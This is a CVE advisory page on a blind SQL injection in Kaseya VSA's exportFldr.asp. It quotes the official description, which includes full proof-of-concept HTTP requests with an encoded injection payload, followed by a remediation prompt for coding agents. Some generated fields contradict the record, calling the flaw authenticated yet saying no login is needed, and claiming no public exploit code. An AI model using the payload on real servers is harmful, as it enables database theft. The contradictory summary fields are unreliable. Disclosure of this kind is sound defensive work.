# CVE-2021-30117: Authenticated SQL injection in Kaseya VSA < v9.5.6

> An authenticated attacker can perform blind SQL injection via the fldrId parameter to read database contents.

- **Severity:** Critical 9.8 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`)
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 9 Jul 2021
- **Updated:** 3 Aug 2024
- **Also known as:** GHSA-cfh7-xwhw-f278

## What is CVE-2021-30117?

CVE-2021-30117 is a critical SQL injection vulnerability in n/a, published on 9 Jul 2021. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ```

Weakness: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)

## Which versions are affected by CVE-2021-30117?

It affects 1 product.


Products: Kaseya Vsa.

## How do I fix CVE-2021-30117?

No fix has been published for CVE-2021-30117 yet. Limit exposure of the affected software until one is available.

## Is CVE-2021-30117 being exploited?

There is no known exploitation of CVE-2021-30117 in the wild and no public exploit code.

## Other vulnerabilities in n/a

- [CVE-2021-30120](https://insights.sbomify.com/CVE-2021-30120/): 2FA bypass in Kaseya VSA <= v9.5.6 (critical 9.9)
- [CVE-2021-30118](https://insights.sbomify.com/CVE-2021-30118/): Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5 (critical 9.8)
- [CVE-2021-30201](https://insights.sbomify.com/CVE-2021-30201/): Unauthenticated XML External Entity vulnerability in Kaseya VSA < v9.5.6 (high 7.5)
- [CVE-2019-14510](https://insights.sbomify.com/CVE-2019-14510/): Hardcoded credentials in n/a (medium 6.7)
- [CVE-2021-30121](https://insights.sbomify.com/CVE-2021-30121/): (Semi-)Authenticated local file inclusion in Kaseya VSA < v9.5.6 (medium 6.5)

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2021-30117 and fix it if it is affected.

What it is: CVE-2021-30117 is a critical SQL injection vulnerability in n/a, published on 9 Jul 2021. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of CVE-2021-30117 in the wild and no public exploit code.

Affected product: n/a. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2021-30117/ (Markdown: https://insights.sbomify.com/CVE-2021-30117/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2021-30117
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-30117
- OSV: https://osv.dev/vulnerability/CVE-2021-30117

---
From sbomify Insights: https://insights.sbomify.com/CVE-2021-30117/
Summaries are generated and may contain mistakes; the official description above is the record.